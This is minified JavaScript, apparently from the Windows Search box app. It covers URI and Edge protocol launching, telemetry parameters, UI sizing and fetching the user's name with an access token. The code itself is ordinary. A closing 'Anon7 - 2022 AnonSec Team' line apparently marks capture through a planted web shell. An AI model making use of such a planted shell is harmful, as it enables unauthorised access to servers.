setAutoCompleteQueryText(i){n.safeExecute(()=>r.setAutoCompleteQueryText(i,t._currentRawImpressionId),"setAutoCompleteQueryText")}static manuallyDismissApp(){!n.config.manuallyDismissApp||n.config.keepCortanaOpened||n.getTweakedSetting("keepCortanaOpenedTweak")||SearchAppWrapper.CortanaApp.dismissApp()}static launchUriAsync(i,r){try{return n.Async.safePromise("launchUriAsync",()=>{let n=u.createUriLaunchOptions();return n.launchPolicy=t.getUriLaunchPolicy(),n.dismissAppBeforeLaunchingURI=r,u.launchUriAsync(i,n)})}catch(f){return Promise.resolve(!1)}}static launchUrlWithHttpProtocolAsync(i,r,f){try{const e=this.getDefaultBrowser()===4;if((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isDefaultBrowserRedirectEnabled())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&/^(http|https):/.test(i)&&!e&&!f){let r=u.createUriLaunchOptions();return r.launchPolicy=t.getUriLaunchPolicy(),n.Async.safePromise("launchUrlWithHttpProtocolAsync",()=>u.launchWebUriWithProtocolAsync(i.substring(i.indexOf(":")+1),"https",r))}return this.launchUrlWithEdgeProtocolAsync(i,r)}catch(e){return Promise.resolve(!1)}}static async launchUrlWithEdgeProtocolAsync(i,r,u){if(i&&!/^(http|https):/.test(i)&&i.includes(":"))return await t.launchUriAsync(i,u);if(!r.cid&&!r.oid){let t,i,n=this._accessTokenManager.getSelectedAccountInfo();(n===null||n===void 0?void 0:n.accountProviderAuthority)=="consumers"?(t=n===null||n===void 0?void 0:n.accountId,r.cid=t):(n===null||n===void 0?void 0:n.accountProviderAuthority)=="organizations"&&(i=n===null||n===void 0?void 0:n.accountId,r.oid=i)}if(n.config.enableAnaheimLaunchWithProtocol&&(i=i?`microsoft-edge:?url=${encodeURIComponent(i)}&timestamp=${n.getCurrentTime()}`:`microsoft-edge:?timestamp=${n.getCurrentTime()}`,n.config.anaheimDataLaunchSource&&(i+=`&source=${encodeURIComponent(n.config.anaheimDataLaunchSource)}`),r.campaign&&(i+=`&campaign=${encodeURIComponent(r.campaign)}`),r.medium&&(i+=`&medium=${encodeURIComponent(r.medium)}`),r.cid&&(i+=`&cid=${encodeURIComponent(r.cid)}`),r.oid&&(i+=`&oid=${encodeURIComponent(r.oid)}`),r.edgeSettingsUrl&&(i+=`&ux=${encodeURIComponent(r.edgeSettingsUrl)}`),r.hubAppId&&(i+=`&hubappid=${encodeURIComponent(r.hubAppId)}`),n.config.enableLaunchWithProfile)){const t=this._accessTokenManager.getSelectedAccountInfo();t&&(i+=`&upn=${n.encodeURIComponentForWindowsProtocol(t.accountUserName)}`)}if(n.config.enableDSBEngageDataInMRU){let t=new n.ClientSideStorage.IndexedDbDSBEngagedDataStorage;t.setDSBQueryAsync(i,r)}const f=await t.launchUriAsync(i,u);return n.InstrumentationHelper.logClientInstEvent("ClientInst","EdgeProtocolLaunchURL",n.SequenceNumberManager.getSequenceNumber(),{medium:r.medium},"BingTelemetry"),f}static launchCodexUriAsync(t,i,r){return this._navigationHelper?(t=this._navigationHelper.enrichUrlWithCvid(t),t=this._navigationHelper.enrichUrlWithMuidInfo(t)):(t=n.setUrlParameter(t,"cvid",this._currentCVID),t=n.setUrlParameter(t,"nclid",_G.nclid)),n.Host.launchUrlWithEdgeProtocolAsync(t,i,r)}static launchUriWithCopilotProtocalAsync(t){return n.Host.launchUriAsync("ms-copilot:chat?"+t,null)}static launchThirdPartyUriWithProtocolAsync(i,r){return new Promise(f=>{if(n.isThirdPartySearchAllowed()){if(!r){/^(http|https):/.test(i)?n.Async.safePromise("launchUrlWithHttpProtocolAsync",()=>u.launchWebUriWithProtocolAsync(i.substring(i.indexOf(":")+1),"https",null)):this.launchUrlWithEdgeProtocolAsync(i,{});return}n.Async.safeChain("launchUri",()=>{let n=u.createUriLaunchOptions();return n.launchPolicy=t.getUriLaunchPolicy(),n.dismissAppBeforeLaunchingURI=!0,u.launchWebUriWithProtocolAsync(i,r,n)},n=>f(n),()=>f(!1))}})}static launchDSBUriAsync(t,i,r,u,f){i.setProperty("clickThroughUrl",t);const o=n.SequenceNumberManager.getSequenceNumber();u&&n.InstrumentationHelper.createCodexClickItemProps(i,"DSBCodex");n.InstrumentationHelper.instrumentItemClick(n.getCurrentTime(),i,o,null,f||n.getInputType(r),null);let e=i===null||i===void 0?void 0:i.getProperties();e?e.ocid?(t=n.setUrlParameter(t,"ocid",e.ocid),t=n.setUrlParameter(t,"pc","DSBPC")):e.form&&!t.includes("form=DSBHIB")?t=n.setUrlParameter(t,"form",e.form):n.InstrumentationHelper.logClientInstEvent("ClientInst","NoOcidOrForm",o,null,"BingTelemetry",16777216):n.InstrumentationHelper.logClientInstEvent("ClientInst","NoInstrumentedItemProperties",o,null,"WindowsTelemetry",16777216);this._navigationHelper?(t=this._navigationHelper.enrichUrlWithCvid(t),t=this._navigationHelper.enrichUrlWithMuidInfo(t)):(t=n.setUrlParameter(t,"cvid",this._currentCVID),t=n.setUrlParameter(t,"nclid",_G.nclid));const s=n.createDSBEdgeLaunchProtocolParameters(e);return n.Host.launchUrlWithEdgeProtocolAsync(t,s)}static setGleamClickUriParameters(t){return this._navigationHelper?this._navigationHelper.enrichUrlWithMuidInfo(t):n.setUrlParameter(t,"nclid",_G.nclid)}static async launchOutlookAsync(i){return new Promise(r=>{try{const f=n.Async.safePromise("launchOutlookAsync",()=>u.launchEmailInOutlookNativeAsync(i));r(f);f&&t.manuallyDismissApp()}catch(f){return r(!1)}})}static submitFileExplorerTextSuggestion(t){n.safeExecute(()=>i.fileExplorerSuggestionPage.onSuggestionSelection(t),"submitFileExplorerTextSuggestion")}static submitFileExplorerFolderSuggestion(t){n.safeExecute(()=>i.fileExplorerSuggestionPage.onFolderSelection(t),"submitFileExplorerFolderSuggestion")}static removeItemFromPinnedToTaskbar(n){t._pinnedApps[n]=!1}static addItemToPinnedToTaskbar(n){t._pinnedApps[n]=!0}static cleanTaskBarPinnedItems(){t._pinnedApps={}}static isPinnedToTaskbar(n){return t._pinnedApps[n]}static launchSearchInFileExplorer(r){r||(r=t.getQuery().queryToFetch);n.config.wsbWithCopilotQF?n.safeExecute(()=>i.launcher.launchExplorerSearch(`query=${n.encodeURIComponentForWindowsProtocol(r)}`),"launchExplorerSearchCopilot"):n.safeExecute(()=>i.launcher.launchExplorerSearch(`query=${n.encodeURIComponentForWindowsProtocol(r)}&crumb=kind:docs`),"launchExplorerSearch")}static isRequestFocusAvailable(){return!!r.requestFocus}static setFocusInSearchBox(i,u){if(t.isRequestFocusAvailable()){const t=()=>r.requestFocus(),f="requestFocus";i==9?n.safeSetTimeout(t,0,f,u):n.safeExecute(t,f,null,u);let e=n.getCurrentActiveElement();e&&e.blur()}}static setFocusInWebView(t){i.focusWebView&&n.safeExecute(()=>i.focusWebView(),"focusWebView",null,t)}static getFeatureEnabled(t){let r={validFeature:!1,featureEnabled:!1};return i.getFeatureEnabled?n.safeExecute(()=>i.getFeatureEnabled(t),"getFeatureEnabled",r,t):r}static getFeatureDWORD(t){let r={validFeature:!1,featureValue:0};return i.getFeatureDWORD?n.safeExecute(()=>i.getFeatureDWORD(t),"getFeatureDWORD",r,t):r}static getFeatureString(t){let r={validFeature:!1,featureValue:""};return i.getFeatureString?n.safeExecute(()=>i.getFeatureString(t),"getFeatureString",r,t):r}static launchInApp(i,r,u){t.updateQueryWithoutRefetching(r);n.safeExecute(u,i)}static launchVoiceFlow(n){t.launchInApp("launchVoiceFlow",n,()=>u.launchRAFAsync(n,t.getFormCode(),t.getInstrumentationParameters()))}static async launchSearchAsync(i,r,u,f){if(u&&!n.config.disableRAF)t.launchVoiceFlow(i);else{if(n.config.anaheimPrototype&&this._accessTokenManager){let n=this._accessTokenManager.getSelectedAccountInfo();r=n?`microsoft-edge:?upn=${n.accountUserName};url=${r}`:`microsoft-edge:?url=${r}`}let i;switch(f){case"WSHBSH":i="LocalBingSearchHistory";break;case"WSSHRH":i="SearchHomeRoamingHistory";break;case"SSHTRD":i="SSHTrendingSearch";break;case"WSBQFC":i="QFToBingChat";break;case"MVALL":i="WorkAutoSuggest";break;case"WSBQSC":i="CodexButtonInQuickSearches";break;default:i="AutoSuggest"}f==="MVALL"?await t.launchUrlWithHttpProtocolAsync(r,{campaign:n.config.moreEdgeProtocolOCID,medium:i}):await t.launchUrlWithEdgeProtocolAsync(r,{campaign:n.config.moreEdgeProtocolOCID,medium:i})}}static launchCat1Async(n,r,f){let e=w[r];if(e)t.launchInApp("launch"+e,n,()=>i.launchExperienceByName(e,null));else{let i=b[r];i?t.launchUriAsync(i):t.launchInApp("launchCat1",n,()=>u.launchCat1Async(n,f,t.getInstrumentationParameters()))}}static launchCat2or3aAsync(n,i){t.launchInApp("launchCat2",n,()=>u.launchCat2Async(n,t.getFormCode(),i,t.getInstrumentationParameters()))}static launchStoreSearchAsync(i){let r="ms-windows-store:search?query="+n.encodeQueryParameter(i)+"&ocid="+n.encodeQueryParameter(n.config.storeHandoffTag)+"&type=apps";return t.launchUriAsync(r)}static launchFolder(t){n.safeExecute(()=>u.startLaunchFolder(t),"launchFolder")}static launchWindowsCortanaSettingsAsync(){return t.launchUriAsync("ms-settings:cortana")}static launchCortanaSignInAsync(){return t.launchUriAsync("ms-cortana://CapabilitiesPrompt/?RequestedCapabilities=Personalization")}static launchWindowsAccountSettingsAsync(){return t.launchUriAsync("ms-settings:emailandaccounts")}static launchSearchSettingsAsync(){return t.launchUriAsync("ms-settings:cortana-windowssearch")}static launchSearchPermissions(n){n?t.launchUriAsync("ms-settings:websearch"):t.launchUriAsync("ms-settings:search-permissions")}static launchSearchSettings(){t.launchUriAsync("ms-settings:windowssearch")}static async launchDeviceItemAsync(r,f){if(!n.isRemoveIconSelected()){let e=r.id,o=f;if(n.localDataSourceMayContainPII(f)||(o+="\n"+e),e.startsWith("shell:"))n.safeExecute(()=>u.startLaunchFolder(e),"launchDeviceItem",null,o);else{const f=r.originalDeviceItem||r;try{if(await n.Async.safePromise("launchDeviceItem",()=>u.launchSearchItemAsync(f),null,o,2),t._isFileExplorerOrControlPanel)i.fileExplorerSuggestionPage.onFileSelection(r)}catch(e){}}}}static async launchAppItemAsync(t,i,r){if(!n.isRemoveIconSelected()){let f=t.id,e=i+"\n"+f;if(r&&e+"\n"+r,f.startsWith("shell:"))n.safeExecute(()=>u.startLaunchFolder(f),"launchAppItem",null,e);else{let i=t.originalDeviceItem||t;try{await n.Async.safePromise("launchAppItem",()=>{let n;return r&&(n=u.createAppLaunchOptions(),n.appContext=r),u.launchSearchItemAsync(i,n)},null,e,2)}catch(f){}}}}static launchWebContent(n,i,r){t.launchInApp("launchWebContent",i,()=>{let t=u.createWebContentLaunchOptions();t.uri=n;r&&t.setAuthorization("Bearer",r);u.launchWebContent(t)})}static launchPrivacyPortalAsync(){return t.launchUriAsync("https://go.microsoft.com/fwlink/?LinkId=780764")}static initUrlParameters(){return Object.assign({},t._queryParamsCache)}static getCustomUrlParameters(i){let r=t.initUrlParameters(),u=i.scope;return u==n.Scope.All?delete r[f.Scope]:r[f.Scope]=n.Scope[u].toLowerCase(),n.searchHistoryAllowed()||(r[n.Service.QueryParams.NoHistory]="1"),t._sendElTokenInSuggstionRequest&&(r[n.Service.QueryParams.ElTokenValue]=t._elToken),n.RuntimeConfig.QfMode&&(r[n.Service.QueryParams.QfMode]=n.RuntimeConfig.QfMode.toString()),r}static getCustomHeaders(i){let r=Object.assign({},t._headersCache);if(!i||i.scope!=n.Scope.Apps){let n=(r["X-BM-ClientFeatures"]||"").split(",");n.push("RevStore");r["X-BM-ClientFeatures"]=n.join()}return r}static reloadWebViewAsync(){return t._webViewReloadEventHanlders.forEach(t=>n.safeExecute(()=>t(),"beforeWebViewReload")),n.Async.safePromise("reloadWebViewAsync",()=>i.reloadWebViewAsync()).catch(()=>{})}static checkCSSBundleIntegrity(t){let i=_ge("cssCanary-"+t),r=_w.getComputedStyle(i).fontFamily,u=_w.getComputedStyle(i).getPropertyValue("list-style-type");if(n.config.useCobaltCSS||sa_config.undocked){let r=_w.getComputedStyle(i).fontSize;r!="1px"&&n.log(t+"css bundle missing. useCobaltCSS="+n.config.useCobaltCSS+" undocked="+sa_config.undocked)}if(r!=`CANARY-${t}`&&r!=`"CANARY-${t}"`||u!="none")throw new Error("Missing CSS Bundle: "+t);}static throwIfResourcesMissing(){if(n.config.checkCSSBundleIntegrity){let n=["WSBBundleFontIcons","WSBBundleQF","WSBBundleSSH","WSBBundleMain","WSBBundleOthers"];for(let i of n)t.checkCSSBundleIntegrity(i)}else{let t=_ge("cssCanary"),i=_w.getComputedStyle(t).fontFamily,r=_w.getComputedStyle(t).getPropertyValue("list-style-type");if(n.config.useCobaltCSS||sa_config.undocked){let i=_w.getComputedStyle(t).fontSize;i!="1px"&&n.log("WSBCobalt.css missing. useCobaltCSS="+n.config.useCobaltCSS+" undocked="+sa_config.undocked)}if(i!="CANARY"&&i!='"CANARY"'||r!="none")throw new Error("Missing CSS Bundle. Canary font: "+i);}}static getFormCode(){return SearchAppWrapper.CortanaApp.entryPoint!="WNSHVR"?n.mapOSFormCode("WNSGPH"):"WNSHVR"}static getRegion(){return n.regionCache||this.initCortanaEnabledAndRegion(),n.regionCache}static getLanguage(){return n.uiLanguageCache||this.initLanguage(),n.uiLanguageCache}static dataSourceDependencies(n){return n=="Web"?["OSTMA","OSTMAN","QS"]:n=="SSUE"?["SREE"]:[]}static getPaneCloseCount(){return t._paneCloseCount}static hasFallbackHappened(){return t._hasFallbackHappened}static getSafeSearchSetting(){return t._safeSearchSetting}static isEducationEnvironment(){return t._isEducationEnvironment}static isWindowsS(){return t._isWindowsS}static getPartnerSearchCode(){return t._partnerSearchCode}static getAgeAccountType(){return t._ageAccountType}static getMSNRefIg(){return null}static setSearchBoxGlyphIcon(t){if(r.setSearchBoxGlyphIcon)if(t){let i=t.content||"";if(i.startsWith("&#x")){let n=parseInt(i.substr(3),16);i=n?String.fromCharCode(n):""}let u=t.type==2?"/Assets/Fonts/CortMDL2.ttf#Cortana MDL2 Assets":"";n.safeExecute(()=>r.setSearchBoxGlyphIcon(i,u),"setSearchBoxGlyphIcon custom")}else n.safeExecute(()=>r.setSearchBoxGlyphIcon("",""),"setSearchBoxGlyphIcon default")}static adjustHeight(){if(n.RuntimeConfig.PanelCanResize&&i.setWebViewHeight){t._pendingAdjustHeightTimer&&(sb_ct(t._pendingAdjustHeightTimer),t._pendingAdjustHeightTimer=null);(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.clientVersion)&&(c?n.StaticHtmlElements.rootContainer.style.height="auto":n.StaticHtmlElements.root.style.height="auto");let r=t._feedbackFormIsVisible?y:n.StaticHtmlElements.root.offsetHeight;c&&(r+=36);let u=()=>{r*=n.RuntimeConfiguration.TextScaleFactor||1,i.setWebViewHeight(r),t._currentPaneHeight=r,t._pendingAdjustHeightTimer=null};!n.config.paneResizeDelay||r>=t._currentPaneHeight?u():t._pendingAdjustHeightTimer=n.safeSetTimeout(u,n.config.paneResizeDelay,"adjustHeight")}}static isClientLocationAvailable(){return t._shouldRequestEltoken||!!t._elToken}static getFileExplorerCurrentPath(){if(n.RuntimeConfig.QfMode!=5)throw"Not supported";return t._fileExplorerCurrentPath}static isDSBEnabledByClient(){var r,n,i;return t._isDSBEnabledByClient==null&&(t._isDSBEnabledByClient=(i=(n=(r=SearchAppWrapper.CortanaApp).isDynamicSearchBoxEnabled)===null||n===void 0?void 0:n.call(r))!==null&&i!==void 0?i:!0),t._isDSBEnabledByClient}static getUserDisplayName(){let i;const r=t._accessTokenManager.getSelectedAccountId(),n=this.getUserNameCache();return r===(n===null||n===void 0?void 0:n.AccountId)?i=n===null||n===void 0?void 0:n.FirstName:this.fetchUserName(r),i}static async fetchUserName(t){if(n.MockUrlParameters&&typeof n.MockedUserName=="object"){const i={AccountId:t,FirstName:n.MockedUserName.FirstName,LastName:n.MockedUserName.LastName};n.LightweightStorage.setItem(s,JSON.stringify(i));return}let i=await this.getToken();if(i){const u="/msrewards/api/v1/getusername",f=n.config.enableOfflineWithWeb&&n.config.webHost?n.config.webHost+u:u;let r={};(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?r["X-Search-MsaV2Token"]=i:r["X-Search-RPSToken"]=i;try{let i=await fetch(f,{method:"Get",headers:r});if(i.status==200){let r=await i.json();if((r===null||r===void 0?void 0:r.ErrorCode)===0){const i={AccountId:t,FirstName:r.FirstName,LastName:r.LastName};n.LightweightStorage.setItem(s,JSON.stringify(i))}else n.LogWSBError("RewardsGetUserNameAPI",`${f}.ErrorCode:${r.ErrorCode} ${r.ErrorMessage}`,undefined,undefined,undefined,"WindowsTelemetry")}else throw new Error(`http status:${i.status}`);}catch(e){n.LogWSBError("RewardsGetUserNameAPI",`failed to fetch ${e}`,undefined,undefined,undefined,"WindowsTelemetry")}}}static async getToken(){const i=n.getBingResourceOrScope(0);return new Promise((n,r)=>{t._accessTokenManager.getAccount(0,i,!1,!0,t=>{let i=t&&t.Token;i?n(i):r(null)},undefined)})}static getUserNameCache(){let t;const i=n.LightweightStorage.getItem(s);return i&&(t=JSON.parse(i)),t}}t.isAppHidden=!1;t.hasSuspend=!1;t._queryParamsCache={};t._locStrings=[];t._enUsLocStrings=[];t._modifierKeyState={altKey:!1,ctrlKey:!1,shiftKey:!1};t._bootstrapDoneEventHandlers=[];t._appVisibleEventHandlers=[];t._shownEventHandlers=[];t._conversationStartEventHandlers=[];t._dismissedEventHandlers=[];t._appHiddenEventHandlers=[];t._webViewReloadEventHanlders=[];t._searchBoxGotFocusEventHandlers=[];t._searchBoxLostFocusEventHandlers=[];t._onSubmitHandlers=[];t._onFeedbackClosingHandlers=[];t._onEnterChatHandlers=[];t._onSearchBoxGlyphIconClick=[];t._onSearchBoxClick=[];t._onButtonRightOfSearchBoxClick=[];t._queryChangedHandlers=[];t._rawQueryChangedHandlers=[];t._keyDownHandlers=[];t._keyUpHandlers=[];t._keyEscapeHandlers=[];t._accessTokenAvailableHandlers=[];t._scopeListRequiresUpdate=[];t._accountChangedHandlers=[];t._dynamicSearchBoxUpdateHandlers=[];t._dynamicPlaceholderContentRequestedHandlers=[];t._searchAppearanceInvokedHandlers=[];t._pinnedApps={};t._state=0;t._paneCloseCount=0;t._qfDismissCount=0;t._installedAppsByQuery={};t._defaultWindowsTheme=0;t._defaultAppTheme=0;t._currentPaneHeight=0;t._defaultBrowser=0;t._fuzzyRankSuggestionCount=-1;t._coldRankSuggestionCount=-1;t._notColdRankSuggestionCount=-1;t._finalColdRankSuggestionCount=-1;t._mruFilesAndFoldersDefinedCount=-1;t._mruFilesAndFoldersUndefinedCount=-1;t._3pMRUCacheKey="3pMRUCache";t._dmaWebProvidersOrderMap={};t.usedImpressionIds={};t.getEdgeIcon=(n,i)=>{let r=t._defaultBrowserIconCache&&t.getUriLaunchPolicy()==0?t._defaultBrowserIconCache:t._edgeIconCache;return r(n,i)};n.Host=t})(WSB||(WSB={}))

Anon7 - 2022
AnonSec Team